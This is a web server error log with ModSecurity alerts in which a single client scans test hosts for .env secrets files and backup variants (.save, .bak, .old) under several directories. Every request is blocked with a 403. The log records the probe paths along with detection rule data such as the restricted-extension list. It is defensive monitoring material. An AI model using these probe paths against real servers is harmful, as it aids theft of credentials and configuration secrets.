[Thu Nov 27 18:08:36.962673 2025] [:error] [pid 364938] [client 3.75.214.235:55464] [client 3.75.214.235] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env.old"] [unique_id "aSiFlFEFdTVEtgaNa5gxCQAAAAc"]
[Thu Nov 27 18:08:36.962873 2025] [:error] [pid 364938] [client 3.75.214.235:55464] [client 3.75.214.235] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env.old"] [unique_id "aSiFlFEFdTVEtgaNa5gxCQAAAAc"]
[Thu Nov 27 18:08:36.963035 2025] [:error] [pid 364938] [client 3.75.214.235:55464] [client 3.75.214.235] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env.old"] [unique_id "aSiFlFEFdTVEtgaNa5gxCQAAAAc"]
[Thu Nov 27 18:08:37.034580 2025] [authz_core:error] [pid 353187] [client 3.75.214.235:55492] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/.env
[Thu Nov 27 18:08:37.103627 2025] [authz_core:error] [pid 354739] [client 3.75.214.235:55520] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/.env.save
[Thu Nov 27 18:08:37.175109 2025] [authz_core:error] [pid 362069] [client 3.75.214.235:55544] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/.env.bak
[Thu Nov 27 18:08:37.244544 2025] [authz_core:error] [pid 364939] [client 3.75.214.235:55578] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/.env.old
[Thu Nov 27 18:08:37.316080 2025] [:error] [pid 353188] [client 3.75.214.235:55600] [client 3.75.214.235] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env"] [unique_id "aSiFlT4fHjXDucK3GWvWvwAAAAQ"]
[Thu Nov 27 18:08:37.316314 2025] [:error] [pid 353188] [client 3.75.214.235:55600] [client 3.75.214.235] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env"] [unique_id "aSiFlT4fHjXDucK3GWvWvwAAAAQ"]
[Thu Nov 27 18:08:37.316514 2025] [:error] [pid 353188] [client 3.75.214.235:55600] [client 3.75.214.235] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env"] [unique_id "aSiFlT4fHjXDucK3GWvWvwAAAAQ"]
[Thu Nov 27 18:08:37.387297 2025] [:error] [pid 353186] [client 3.75.214.235:55626] [client 3.75.214.235] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env.save"] [unique_id "aSiFlSOJA5NFmjDGU5hISwAAAAI"]
[Thu Nov 27 18:08:37.387520 2025] [:error] [pid 353186] [client 3.75.214.235:55626] [client 3.75.214.235] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env.save"] [unique_id "aSiFlSOJA5NFmjDGU5hISwAAAAI"]
[Thu Nov 27 18:08:37.387753 2025] [:error] [pid 353186] [client 3.75.214.235:55626] [client 3.75.214.235] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env.save"] [unique_id "aSiFlSOJA5NFmjDGU5hISwAAAAI"]
[Thu Nov 27 18:08:37.455644 2025] [:error] [pid 353185] [client 3.75.214.235:55660] [client 3.75.214.235] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env.bak"] [unique_id "aSiFlXTG8IrOxOxezX5ArwAAAAE"]
[Thu Nov 27 18:08:37.455834 2025] [:error] [pid 353185] [client 3.75.214.235:55660] [client 3.75.214.235] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env.bak"] [unique_id "aSiFlXTG8IrOxOxezX5ArwAAAAE"]
[Thu Nov 27 18:08:37.456097 2025] [:error] [pid 353185] [client 3.75.214.235:55660] [client 3.75.214.235] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env.bak"] [unique_id "aSiFlXTG8IrOxOxezX5ArwAAAAE"]
[Thu Nov 27 18:08:37.456280 2025] [:error] [pid 353185] [client 3.75.214.235:55660] [client 3.75.214.235] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env.bak"] [unique_id "aSiFlXTG8IrOxOxezX5ArwAAAAE"]
[Thu Nov 27 18:08:37.525375 2025] [:error] [pid 360200] [client 3.75.214.235:55696] [client 3.75.214.235] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env.old"] [unique_id "aSiFlQQeQhonID1lme2zGAAAAAk"]
[Thu Nov 27 18:08:37.525544 2025] [:error] [pid 360200] [client 3.75.214.235:55696] [client 3.75.214.235] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env.old"] [unique_id "aSiFlQQeQhonID1lme2zGAAAAAk"]
[Thu Nov 27 18:08:37.525760 2025] [:error] [pid 360200] [client 3.75.214.235:55696] [client 3.75.214.235] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env.old"] [unique_id "aSiFlQQeQhonID1lme2zGAAAAAk"]
[Thu Nov 27 18:08:37.525930 2025] [:error] [pid 360200] [client 3.75.214.235:55696] [client 3.75.214.235] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env.old"] [unique_id "aSiFlQQeQhonID1lme2zGAAAAAk"]
[Thu Nov 27 18:08:37.601308 2025] [:error] [pid 362070] [client 3.75.214.235:55714] [client 3.75.214.235] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /src/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/src/.env"] [unique_id "aSiFlX7GWRIORDaPTtG7IQAAAAs"]
[Thu Nov 27 18:08:37.601544 2025] [:error] [pid 362070] [client 3.75.214.235:55714] [client 3.75.214.235] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/src/.env"] [unique_id "aSiFlX7GWRIORDaPTtG7IQAAAAs"]
[Thu Nov 27 18:08:37.601747 2025] [:error] [pid 362070] [client 3.75.214.235:55714] [client 3.75.214.235] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/src/.env"] [unique_id "aSiFlX7GWRIORDaPTtG7IQAAAAs"]
[Thu Nov 27 18:08:37.682092 2025] [:error] [pid 364938] [client 3.75.214.235:55744] [client 3.75.214.235] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /src/.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/src/.env.save"] [unique_id "aSiFlVEFdTVEtgaNa5gxCgAAAAc"]
[Thu Nov 27 18:08:37.682312 2025] [:error] [pid 364938] [client 3.75.214.235:55744] [client 3.75.214.235] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/src/.env.save"] [unique_id "aSiFlVEFdTVEtgaNa5gxCgAAAAc"]
[Thu Nov 27 18:08:37.682520 2025] [:error] [pid 364938] [client 3.75.214.235:55744] [client 3.75.214.235] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/src/.env.save"] [unique_id "aSiFlVEFdTVEtgaNa5gxCgAAAAc"]
[Thu Nov 27 18:08:37.761780 2025] [:error] [pid 353187] [client 3.75.214.235:55784] [client 3.75.214.235] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/src/.env.bak"] [unique_id "aSiFlXjjVMPW7zDRgsawaQAAAAM"]
[Thu Nov 27 18:08:37.761946 2025] [:error] [pid 353187] [client 3.75.214.235:55784] [client 3.75.214.235] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /src/.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/src/.env.bak"] [unique_id "aSiFlXjjVMPW7zDRgsawaQAAAAM"]
[Thu Nov 27 18:08:37.762152 2025] [:error] [pid 353187] [client 3.75.214.235:55784] [client 3.75.214.235] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/src/.env.bak"] [unique_id "aSiFlXjjVMPW7zDRgsawaQAAAAM"]
[Thu Nov 27 18:08:37.762323 2025] [:error] [pid 353187] [client 3.75.214.235:55784] [client 3.75.214.235] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/src/.env.bak"] [unique_id "aSiFlXjjVMPW7zDRgsawaQAAAAM"]
[Thu Nov 27 18:08:37.831523 2025] [:error] [pid 354739] [client 3.75.214.235:55816] [client 3.75.214.235] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/src/.env.old"] [unique_id "aSiFle_UStX-GTeIAe_u-gAAAAY"]
[Thu Nov 27 18:08:37.831718 2025] [:error] [pid 354739] [client 3.75.214.235:55816] [client 3.75.214.235] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /src/.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/src/.env.old"] [unique_id "aSiFle_UStX-GTeIAe_u-gAAAAY"]
[Thu Nov 27 18:08:37.831941 2025] [:error] [pid 354739] [client 3.75.214.235:55816] [client 3.75.214.235] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/src/.env.old"] [unique_id "aSiFle_UStX-GTeIAe_u-gAAAAY"]
[Thu Nov 27 18:08:37.832137 2025] [:error] [pid 354739] [client 3.75.214.235:55816] [client 3.75.214.235] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/src/.env.old"] [unique_id "aSiFle_UStX-GTeIAe_u-gAAAAY"]
[Thu Nov 27 18:08:37.900954 2025] [:error] [pid 362069] [client 3.75.214.235:55844] [client 3.75.214.235] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /public/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.env"] [unique_id "aSiFlbt0j3LvN_HNhHWZDgAAAAo"]
[Thu Nov 27 18:08:37.901172 2025] [:error] [pid 362069] [client 3.75.214.235:55844] [client 3.75.214.235] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.env"] [unique_id "aSiFlbt0j3LvN_HNhHWZDgAAAAo"]
[Thu Nov 27 18:08:37.901349 2025] [:error] [pid 362069] [client 3.75.214.235:55844] [client 3.75.214.235] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.env"] [unique_id "aSiFlbt0j3LvN_HNhHWZDgAAAAo"]
[Thu Nov 27 18:08:37.977093 2025] [:error] [pid 364939] [client 3.75.214.235:55876] [client 3.75.214.235] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /public/.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.env.save"] [unique_id "aSiFlRr_ze0xmC_DyvfLZwAAAA0"]
[Thu Nov 27 18:08:37.977308 2025] [:error] [pid 364939] [client 3.75.214.235:55876] [client 3.75.214.235] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.env.save"] [unique_id "aSiFlRr_ze0xmC_DyvfLZwAAAA0"]
